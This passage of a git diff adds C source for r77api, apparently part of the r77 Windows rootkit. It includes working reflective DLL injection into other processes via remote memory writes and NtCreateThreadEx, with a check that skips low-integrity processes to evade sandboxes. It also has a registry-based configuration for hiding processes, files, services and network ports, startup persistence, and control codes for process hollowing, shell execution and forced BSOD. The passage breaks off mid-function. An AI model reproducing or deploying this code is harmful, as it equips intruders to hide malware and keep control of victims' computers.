ULARGE_INTEGER AppCompatFlagsUser; + LPVOID ShimData; + LPVOID AppCompatInfo; + UNICODE_STRING CSDVersion; + LPVOID ActivationContextData; + LPVOID ProcessAssemblyStorageMap; + LPVOID SystemDefaultActivationContextData; + LPVOID SystemAssemblyStorageMap; + DWORD MinimumStackCommit; +} NT_PEB, *PNT_PEB; + +typedef struct _NT_IMAGE_RELOC +{ + WORD Offset : 12; + WORD Type : 4; +} NT_IMAGE_RELOC, *PNT_IMAGE_RELOC; + +typedef NTSTATUS(NTAPI *NT_NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); +typedef NTSTATUS(NTAPI *NT_NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount); +typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); +typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); +typedef NTSTATUS(NTAPI *NT_NTENUMERATEKEY)(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); +typedef NTSTATUS(NTAPI *NT_NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); +typedef BOOL(WINAPI *NT_ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); +typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); +typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); +typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); +typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); +typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); +typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size); +typedef HMODULE(WINAPI *NT_LOADLIBRARYA)(LPCSTR fileName); +typedef FARPROC(WINAPI *NT_GETPROCADDRESS)(HMODULE module, LPCSTR function); +typedef LPVOID(WINAPI *NT_VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect); +typedef BOOL(WINAPI *NT_DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved); + +#endif \ No newline at end of file diff --git a/r77api/r77api.vcxitems b/r77api/r77api.vcxitems new file mode 100644 index 0000000..3f5480b --- /dev/null +++ b/r77api/r77api.vcxitems @@ -0,0 +1,33 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {525fd9eb-628a-4d93-b320-3c1dfa0a216d} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/r77api/r77config.c b/r77api/r77config.c new file mode 100644 index 0000000..1fd4a18 --- /dev/null +++ b/r77api/r77config.c @@ -0,0 +1,163 @@ +#include "r77config.h" +#include "r77def.h" +#include "r77runtime.h" +#include + +PR77_CONFIG LoadR77Config() +{ + PR77_CONFIG config = NEW(R77_CONFIG); + config->StartupFiles = CreateStringList(TRUE); + config->HiddenProcessIds = CreateIntegerList(); + config->HiddenProcessNames = CreateStringList(TRUE); + config->HiddenPaths = CreateStringList(TRUE); + config->HiddenServiceNames = CreateStringList(TRUE); + config->HiddenTcpLocalPorts = CreateIntegerList(); + config->HiddenTcpRemotePorts = CreateIntegerList(); + config->HiddenUdpPorts = CreateIntegerList(); + + // Load configuration from HKEY_LOCAL_MACHINE\SOFTWARE\$77config + HKEY key; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_READ | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) + { + // Read startup files "startup" subkey. + HKEY startupKey; + if (RegOpenKeyExW(key, L"startup", 0, KEY_READ, &startupKey) == ERROR_SUCCESS) + { + LoadStringListFromRegistryKey(config->StartupFiles, startupKey, MAX_PATH); + RegCloseKey(startupKey); + } + + // Read process ID's from the "pid" subkey. + HKEY pidKey; + if (RegOpenKeyExW(key, L"pid", 0, KEY_READ, &pidKey) == ERROR_SUCCESS) + { + LoadIntegerListFromRegistryKey(config->HiddenProcessIds, pidKey); + RegCloseKey(pidKey); + } + + // Read process names from the "process_names" subkey. + HKEY processNameKey; + if (RegOpenKeyExW(key, L"process_names", 0, KEY_READ, &processNameKey) == ERROR_SUCCESS) + { + LoadStringListFromRegistryKey(config->HiddenProcessNames, processNameKey, MAX_PATH); + RegCloseKey(processNameKey); + } + + // Read paths from the "paths" subkey. + HKEY pathKey; + if (RegOpenKeyExW(key, L"paths", 0, KEY_READ, &pathKey) == ERROR_SUCCESS) + { + LoadStringListFromRegistryKey(config->HiddenPaths, pathKey, MAX_PATH); + RegCloseKey(pathKey); + } + + // Read service names from the "service_names" subkey. + HKEY serviceNameKey; + if (RegOpenKeyExW(key, L"service_names", 0, KEY_READ, &serviceNameKey) == ERROR_SUCCESS) + { + LoadStringListFromRegistryKey(config->HiddenServiceNames, serviceNameKey, MAX_PATH); + RegCloseKey(serviceNameKey); + } + + // Read local TCP ports from the "tcp_local" subkey. + HKEY tcpLocalKey; + if (RegOpenKeyExW(key, L"tcp_local", 0, KEY_READ, &tcpLocalKey) == ERROR_SUCCESS) + { + LoadIntegerListFromRegistryKey(config->HiddenTcpLocalPorts, tcpLocalKey); + RegCloseKey(tcpLocalKey); + } + + // Read remote TCP ports from the "tcp_remote" subkey. + HKEY tcpRemoteKey; + if (RegOpenKeyExW(key, L"tcp_remote", 0, KEY_READ, &tcpRemoteKey) == ERROR_SUCCESS) + { + LoadIntegerListFromRegistryKey(config->HiddenTcpRemotePorts, tcpRemoteKey); + RegCloseKey(tcpRemoteKey); + } + + // Read UDP ports from the "udp" subkey. + HKEY udpKey; + if (RegOpenKeyExW(key, L"udp", 0, KEY_READ, &udpKey) == ERROR_SUCCESS) + { + LoadIntegerListFromRegistryKey(config->HiddenUdpPorts, udpKey); + RegCloseKey(udpKey); + } + + RegCloseKey(key); + } + + return config; +} +VOID DeleteR77Config(PR77_CONFIG config) +{ + DeleteStringList(config->StartupFiles); + DeleteIntegerList(config->HiddenProcessIds); + DeleteStringList(config->HiddenProcessNames); + DeleteStringList(config->HiddenPaths); + DeleteStringList(config->HiddenServiceNames); + DeleteIntegerList(config->HiddenTcpLocalPorts); + DeleteIntegerList(config->HiddenTcpRemotePorts); + DeleteIntegerList(config->HiddenUdpPorts); + libc_memset(config, 0, sizeof(R77_CONFIG)); + FREE(config); +} +BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB) +{ + if (configA == configB) + { + return TRUE; + } + else if (configA == NULL || configB == NULL) + { + return FALSE; + } + else + { + return + CompareStringList(configA->StartupFiles, configB->StartupFiles) && + CompareIntegerList(configA->HiddenProcessIds, configB->HiddenProcessIds) && + CompareStringList(configA->HiddenProcessNames, configB->HiddenProcessNames) && + CompareStringList(configA->HiddenPaths, configB->HiddenPaths) && + CompareStringList(configA->HiddenServiceNames, configB->HiddenServiceNames) && + CompareIntegerList(configA->HiddenTcpLocalPorts, configB->HiddenTcpLocalPorts) && + CompareIntegerList(configA->HiddenTcpRemotePorts, configB->HiddenTcpRemotePorts) && + CompareIntegerList(configA->HiddenUdpPorts, configB->HiddenUdpPorts); + } +} +BOOL InstallR77Config(PHKEY key) +{ + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, key, NULL) == ERROR_SUCCESS) + { + // Return TRUE, even if setting the DACL fails. + // If DACL creation failed, only elevated processes will be able to write to the configuration system. + PSECURITY_DESCRIPTOR securityDescriptor = NULL; + ULONG securityDescriptorSize = 0; + if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)", SDDL_REVISION_1, &securityDescriptor, &securityDescriptorSize)) + { + RegSetKeySecurity(*key, DACL_SECURITY_INFORMATION, securityDescriptor); + LocalFree(securityDescriptor); + } + + return TRUE; + } + + return FALSE; +} +VOID UninstallR77Config() +{ + // Delete subkeys in HKEY_LOCAL_MACHINE\SOFTWARE\$77config + HKEY key; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) + { + WCHAR subKeyName[1000]; + for (DWORD subKeyNameLength = 1000; RegEnumKeyExW(key, 0, subKeyName, &subKeyNameLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS; subKeyNameLength = 1000) + { + RegDeleteKeyW(key, subKeyName); + } + + RegCloseKey(key); + } + + // Delete HKEY_LOCAL_MACHINE\SOFTWARE\$77config + RegDeleteKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", KEY_ALL_ACCESS | KEY_WOW64_64KEY, 0); +} \ No newline at end of file diff --git a/r77api/r77config.h b/r77api/r77config.h new file mode 100644 index 0000000..1763819 --- /dev/null +++ b/r77api/r77config.h @@ -0,0 +1,81 @@ +#include "r77mindef.h" +#include "clist.h" +#ifndef _R77CONFIG_H +#define _R77CONFIG_H + +/// +/// Defines the global configuration for r77. +/// +typedef struct _R77_CONFIG +{ + /// + /// A list of file paths to start when windows starts. + /// + PSTRING_LIST StartupFiles; + /// + /// A list of process ID's to hide in addition to processes hidden by the prefix. + /// + PINTEGER_LIST HiddenProcessIds; + /// + /// A list of process names to hide in addition to processes hidden by the prefix. + /// + PSTRING_LIST HiddenProcessNames; + /// + /// A list of file or directory full paths to hide in addition to files and directories hidden by the prefix. + /// + PSTRING_LIST HiddenPaths; + /// + /// A list of service names to hide in addition to services hidden by the prefix. + /// + PSTRING_LIST HiddenServiceNames; + /// + /// A list of local TCP ports to hide. + /// + PINTEGER_LIST HiddenTcpLocalPorts; + /// + /// A list of remote TCP ports to hide. + /// + PINTEGER_LIST HiddenTcpRemotePorts; + /// + /// A list of UDP ports to hide. + /// + PINTEGER_LIST HiddenUdpPorts; +} R77_CONFIG, *PR77_CONFIG; + +/// +/// Loads the global configuration for r77. +/// +/// +/// A newly allocated R77_CONFIG structure. +/// +PR77_CONFIG LoadR77Config(); +/// +/// Deletes the specified R77_CONFIG structure. +/// +/// The R77_CONFIG structure to delete. +VOID DeleteR77Config(PR77_CONFIG config); +/// +/// Compares two R77_CONFIG structures for equality. +/// +/// The first R77_CONFIG structure. +/// The second R77_CONFIG structure. +/// +/// TRUE, if both R77_CONFIG structures are equal; +/// otherwise, FALSE. +/// +BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB); +/// +/// Creates the r77 configuration registry key with full access to all users. +/// +/// The newly created HKEY. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL InstallR77Config(PHKEY key); +/// +/// Deletes the r77 configuration from the registry. +/// +VOID UninstallR77Config(); + +#endif \ No newline at end of file diff --git a/r77api/r77def.h b/r77api/r77def.h new file mode 100644 index 0000000..d9b5a78 --- /dev/null +++ b/r77api/r77def.h @@ -0,0 +1,109 @@ +#ifndef _R77DEF_H +#define _R77DEF_H + +// These preprocessor definitions must match the constants in GlobalAssemblyInfo.cs + +/// +/// The prefix for name based hiding (e.g. processes, files, etc...). +/// +#define HIDE_PREFIX L"$77" +/// +/// The length of the hide prefix, excluding the terminating null character. +/// +#define HIDE_PREFIX_LENGTH (sizeof(HIDE_PREFIX) / sizeof(WCHAR) - 1) + +/// +/// r77 header signature: The process is injected with the r77 DLL. +/// +#define R77_SIGNATURE 0x7277 +/// +/// r77 header signature: The process is the r77 service process. +/// +#define R77_SERVICE_SIGNATURE 0x7273 +/// +/// r77 header signature: The process is an r77 helper file (e.g. TestConsole.exe). +/// +#define R77_HELPER_SIGNATURE 0x7268 + +/// +/// Name for the scheduled task that starts the r77 service for 32-bit processes. +/// +#define R77_SERVICE_NAME32 HIDE_PREFIX L"svc32" +/// +/// Name for the scheduled task that starts the r77 service for 64-bit processes. +/// +#define R77_SERVICE_NAME64 HIDE_PREFIX L"svc64" + +/// +/// Name for the named pipe that notifies the 32-bit r77 service about new child processes. +/// +#define CHILD_PROCESS_PIPE_NAME32 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc32" +/// +/// Name for the named pipe that notifies the 64-bit r77 service about new child processes. +/// +#define CHILD_PROCESS_PIPE_NAME64 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc64" + +/// +/// Name for the named pipe that receives commands from external processes. +/// +#define CONTROL_PIPE_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control" +/// +/// Name for the internally used named pipe of the 64-bit r77 service that receives redirected commands from the 32-bit r77 service. +/// Do not use! Always use CONTROL_PIPE_NAME. +/// +#define CONTROL_PIPE_REDIRECT64_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control_redirect64" + +/// +/// Specifies a list of processes that will not be injected. +/// By default, this list includes processes that are known to cause problems. +/// To customize this list, add custom entries and recompile. +/// +#define PROCESS_EXCLUSIONS { L"MSBuild.exe" } +// Example: { L"MSBuild.exe", L"your_app.exe", L"another_app.exe" } + +/// +/// The control code that terminates the r77 service. +/// +#define CONTROL_R77_TERMINATE_SERVICE 0x1001 +/// +/// The control code that uninstalls r77. +/// +#define CONTROL_R77_UNINSTALL 0x1002 +/// +/// The control code that temporarily pauses injection of new processes. +/// +#define CONTROL_R77_PAUSE_INJECTION 0x1003 +/// +/// The control code that resumes injection of new processes. +/// +#define CONTROL_R77_RESUME_INJECTION 0x1004 +/// +/// The control code that injects r77 into a specific process, if it is not yet injected. +/// +#define CONTROL_PROCESSES_INJECT 0x2001 +/// +/// The control code that injects r77 into all processes that are not yet injected. +/// +#define CONTROL_PROCESSES_INJECT_ALL 0x2002 +/// +/// The control code that detaches r77 from a specific process. +/// +#define CONTROL_PROCESSES_DETACH 0x2003 +/// +/// The control code that detaches r77 from all processes. +/// +#define CONTROL_PROCESSES_DETACH_ALL 0x2004 +/// +/// The control code that executes a file using ShellExecute. +/// +#define CONTROL_USER_SHELLEXEC 0x3001 +/// +/// The control code that executes an executable using process hollowing. +/// +#define CONTROL_USER_RUNPE 0x3002 +/// +/// The control code that triggers a BSOD. +/// +#define CONTROL_SYSTEM_BSOD 0x4001 + +#endif \ No newline at end of file diff --git a/r77api/r77mindef.h b/r77api/r77mindef.h new file mode 100644 index 0000000..d584116 --- /dev/null +++ b/r77api/r77mindef.h @@ -0,0 +1,36 @@ +#include +#include +#ifndef _R77MINDEF_H +#define _R77MINDEF_H + +#pragma warning(disable: 6258) // Using TerminateThread does not allow proper thread clean up. + +#define NEW(type) (type*)HeapAlloc(GetProcessHeap(), 0, sizeof(type)) +#define NEW_ARRAY(type, length) (type*)HeapAlloc(GetProcessHeap(), 0, sizeof(type) * (length)) +#define FREE(buffer) HeapFree(GetProcessHeap(), 0, buffer); + +/// +/// Returns TRUE, if the bitness of the current process is equal to bits. +/// +#define BITNESS(bits) (sizeof(LPVOID) * 8 == (bits)) +/// +/// Returns either if32 or if64 depending on the bitness of the current process. +/// +#define COALESCE_BITNESS(if32, if64) (sizeof(LPVOID) == 4 ? (if32) : (if64)) +/// +/// Rotates a value right by a defined number of bits. +/// +#define ROTR(value, bits) ((DWORD)(value) >> (bits) | (DWORD)(value) << (32 - (bits))) + +#ifdef CUSTOM_ENTRY +int main(); +int __stdcall EntryPoint() +{ + // Define CUSTOM_ENTRY, if compiling with /ENTRY + // ExitProcess is required, if entry point is defined manually. + + ExitProcess(main()); +} +#endif + +#endif \ No newline at end of file diff --git a/r77api/r77process.c b/r77api/r77process.c new file mode 100644 index 0000000..fdc70cd --- /dev/null +++ b/r77api/r77process.c @@ -0,0 +1,232 @@ +#include "r77process.h" +#include "r77def.h" +#include "r77win.h" +#include "r77runtime.h" +#include +#include + +BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast) +{ + BOOL result = FALSE; + + // Unlike with "regular" DLL injection, the bitness must be checked explicitly. + BOOL is64Bit; + if (Is64BitProcess(processId, &is64Bit) && BITNESS(is64Bit ? 64 : 32)) + { + HANDLE process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, processId); + if (process) + { + // Check, if the executable name is on the exclusion list (see: PROCESS_EXCLUSIONS) + BOOL processExcluded = FALSE; + WCHAR processName[MAX_PATH + 1]; + if (GetProcessFileName(processId, FALSE, processName, MAX_PATH)) + { + LPCWSTR exclusions[] = PROCESS_EXCLUSIONS; + for (int i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++) + { + if (!StrCmpIW(processName, exclusions[i])) + { + processExcluded = TRUE; + break; + } + } + } + + if (!processExcluded) + { + // Do not inject critical processes (smss, csrss, wininit, etc.). + ULONG breakOnTermination; + if (NT_SUCCESS(NtQueryInformationProcess(process, ProcessBreakOnTermination, &breakOnTermination, sizeof(ULONG), NULL)) && !breakOnTermination) + { + // Sandboxes tend to crash when injecting shellcode. Only inject medium IL and above. + DWORD integrityLevel; + if (GetProcessIntegrityLevel(process, &integrityLevel) && integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID) + { + // Get function pointer to the shellcode that loads the DLL reflectively. + DWORD entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain"); + if (entryPoint) + { + LPBYTE allocatedMemory = (LPBYTE)VirtualAllocEx(process, NULL, dllSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (allocatedMemory) + { + if (WriteProcessMemory(process, allocatedMemory, dll, dllSize, NULL)) + { + HANDLE thread = NULL; + if (NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread) + { + if (fast) + { + // Fast mode is for bulk operations, where the return value of this function is ignored. + // The return value of DllMain is not checked. This function just returns TRUE, if NtCreateThreadEx succeeded. + result = TRUE; + } + else if (WaitForSingleObject(thread, 100) == WAIT_OBJECT_0) + { + // Return TRUE, only if DllMain returned TRUE. + // DllMain returns FALSE, for example, if r77 is already injected. + DWORD exitCode; + if (GetExitCodeThread(thread, &exitCode)) + { + result = exitCode != 0; + } + } + + CloseHandle(thread); + } + } + } + } + } + } + } + + CloseHandle(process); + } + } + + return result; +} + +BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count) +{ + BOOL result = TRUE; + DWORD actualCount = 0; + + LPDWORD processes = NEW_ARRAY(DWORD, 10000); + DWORD processCount = 0; + HMODULE *modules = NEW_ARRAY(HMODULE, 10000); + DWORD moduleCount = 0; + BYTE moduleBytes[512]; + + if (EnumProcesses(processes, 10000 * sizeof(DWORD), &processCount)) + { + processCount /= sizeof(DWORD); + + for (DWORD i = 0; i < processCount; i++) + { + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[i]); + if (process) + { + if (EnumProcessModules(process, modules, 10000 * sizeof(HMODULE), &moduleCount)) + { + moduleCount /= sizeof(HMODULE); + + for (DWORD j = 0; j < moduleCount; j++) + { + if (ReadProcessMemory(process, (LPBYTE)modules[j], moduleBytes, 512, NULL)) + { + WORD signature = *(LPWORD)&moduleBytes[sizeof(IMAGE_DOS_HEADER)]; + if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE) + { + if (actualCount < *count) + { + r77Processes[actualCount].ProcessId = processes[i]; + r77Processes[actualCount].Signature = signature; + r77Processes[actualCount++].DetachAddress = signature == R77_SIGNATURE ? *(DWORD64*)&moduleBytes[sizeof(IMAGE_DOS_HEADER) + 2] : 0; + } + else + { + result = FALSE; + } + + break; + } + } + } + } + + CloseHandle(process); + } + } + } + + FREE(processes); + FREE(modules); + + *count = actualCount; + return result; +} +BOOL DetachInjectedProcess(PR77_PROCESS r77Process) +{ + BOOL result = FALSE; + + if (r77Process->Signature == R77_SIGNATURE) + { + HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Process->ProcessId); + if (process) + { + // R77_PROCESS.DetachAddress is a function pointer to DetachRootkit() + HANDLE thread = NULL; + if (NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process->DetachAddress, NULL, 0, 0, 0, 0, NULL)) && thread) + { + result = TRUE; + CloseHandle(thread); + } + + CloseHandle(process); + } + } + + return result; +} +BOOL DetachInjectedProcessById(DWORD processId) +{ + BOOL result = FALSE; + PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); + DWORD r77ProcessCount = 1000; + + if (GetR77Processes(r77Processes, &r77ProcessCount)) + { + for (DWORD i = 0; i < r77ProcessCount; i++) + { + if (r77Processes[i].Signature == R77_SIGNATURE && r77Processes[i].ProcessId == processId) + { + result = DetachInjectedProcess(&r77Processes[i]); + break; + } + } + } + + FREE(r77Processes); + return result; +} +VOID DetachAllInjectedProcesses() +{ + PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); + DWORD r77ProcessCount = 1000; + + if (GetR77Processes(r77Processes, &r77ProcessCount)) + { + for (DWORD i = 0; i < r77ProcessCount; i++) + { + if (r77Processes[i].Signature == R77_SIGNATURE) + { + DetachInjectedProcess(&r77Processes[i]); + } + } + } + + FREE(r77Processes); +} +VOID TerminateR77Service(DWORD excludedProcessId) +{ + PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); + DWORD r77ProcessCount = 1000; + if (GetR77Processes(r77Processes, &r77ProcessCount)) + { + for (DWORD i = 0; i < r77ProcessCount; i++) + { + if (r77Processes[i].Signature == R77_SERVICE_SIGNATURE && r77Processes[i].ProcessId != excludedProcessId) + { + HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, r77Processes[i].ProcessId); + if (process) + { + TerminateProcess(process, 0); + CloseHandle(process); + } + } + } + } + + FREE(r77Processes); +} \ No newline at end of file diff --git a/r77api/r77process.h b/r77api/r77process.h new file mode 100644 index 0000000..20be520 --- /dev/null +++ b/r77api/r77process.h @@ -0,0 +1,87 @@ +#include "r77mindef.h" +#ifndef _R77PROCESS_H +#define _R77PROCESS_H + +/// +/// Defines the r77 header. +/// +typedef struct _R77_PROCESS +{ + /// + /// The process ID of the process. + /// + DWORD ProcessId; + /// + /// The signature (R77_SIGNATURE, R77_SERVICE_SIGNATURE, or R77_HELPER_SIGNATURE). + /// + WORD Signature; + /// + /// A function pointer to DetachRootkit() in the remote process. This function detaches the injected r77 DLL + /// Applies only, if Signature == R77_SIGNATURE. + /// + DWORD64 DetachAddress; +} R77_PROCESS, *PR77_PROCESS; + +/// +/// Injects a DLL using reflective DLL injection. +/// The DLL must export a function called "ReflectiveDllMain". +/// The bitness of the target process must match that of the current process. +/// The integrity level of the target process must be at least medium. +/// The process must not be critical. +/// +/// The process to inject the DLL in. +/// A buffer with the DLL file. +/// dllSize The size of the DLL file. +/// TRUE to not wait for DllMain to return. If this parameter is set, this function does not return FALSE, if DllMain returned FALSE. +/// +/// TRUE, if the DLL was successfully injected and DllMain returned TRUE; +/// otherwise, FALSE. +/// +BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast); + +/// +/// Retrieves a list of all processes where an r77 header is present. +/// The result includes only processes where the bitness matches that of the current process. +/// +/// A buffer with R77_PROCESS structures to write the result to. +/// A DWORD pointer with the number of structures in the buffer. The number of returned entries is written to this value. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count); +/// +/// Detaches r77 from the specified process. +/// The bitness of the target process must match that of the current process. +/// +/// The process to detach r77 from. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL DetachInjectedProcess(PR77_PROCESS r77Process); +/// +/// Detaches r77 from the specified process. +/// The bitness of the target process must match that of the current process. +/// +/// The process ID to detach r77 from. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL DetachInjectedProcessById(DWORD processId); +/// +/// Detaches r77 from all running processes. +/// Only processes where the bitness matches that of the current process are detached. +/// +VOID DetachAllInjectedProcesses(); +/// +/// Terminates all r77 service processes. Typically, there are two active r77 service processes, one 32-bit and one 64-bit process. +/// Only processes where the bitness matches that of the current process are terminated. +/// +/// +/// A process ID that should not be terminated. Use -1 to not exclude any processes. +/// +VOID TerminateR77Service(DWORD excludedProcessId); + +#endif \ No newline at end of file diff --git a/r77api/r77runtime.c b/r77api/r77runtime.c new file mode 100644 index 0000000..127a28d --- /dev/null +++ b/r77api/r77runtime.c @@ -0,0 +1,101 @@ +#include "r77runtime.h" +#include "r77win.h" +#include "ntdll.h" + +VOID libc_memcpy(LPVOID dest, LPVOID src, SIZE_T size) +{ + for (volatile LPBYTE destPtr = dest, srcPtr = src; size; size--) + { + *destPtr++ = *srcPtr++; + } +} +VOID libc_wmemcpy(LPVOID dest, LPVOID src, SIZE_T size) +{ + for (volatile PWCHAR destPtr = dest, srcPtr = src; size; size--) + { + *destPtr++ = *srcPtr++; + } +} +VOID libc_memset(LPVOID dest, INT value, SIZE_T size) +{ + for (volatile LPBYTE destPtr = dest; size; size--) + { + *destPtr++ = value; + } +} +VOID libc_ltow(LONG value, PWCHAR buffer) +{ + if (value < 0) + { + *buffer++ = L'-'; + value = -value; + } + + INT length = 0; + for (LONG i = value; i; i /= 10) + { + length++; + } + + for (INT i = 0; i < length; i++) + { + buffer[length - i - 1] = L'0' + value % 10; + value /= 10; + } + + buffer[length] = L'\0'; +} +DWORD libc_strhash(LPCSTR str) +{ + DWORD hash = 0; + + while (*str) + { + hash = ROTR(hash, 13) + *str++; + } + + return hash; +} +DWORD libc_strhashi(LPCSTR str, USHORT length) +{ + DWORD hash = 0; + + for (; length--; str++) + { + hash = ROTR(hash, 13) + (*str >= 'a' ? *str - 0x20 : *str); + } + + return hash; +} + +NTSTATUS NTAPI NtQueryObject2(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) +{ + // NtQueryObject must be called by using GetProcAddress on Windows 7. + return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength); +} +NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer) +{ + // Use NtCreateThreadEx instead of CreateRemoteThread. + // CreateRemoteThread does not work across sessions in Windows 7. + return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); +} +NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) +{ + return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); +} +NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) +{ + return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", 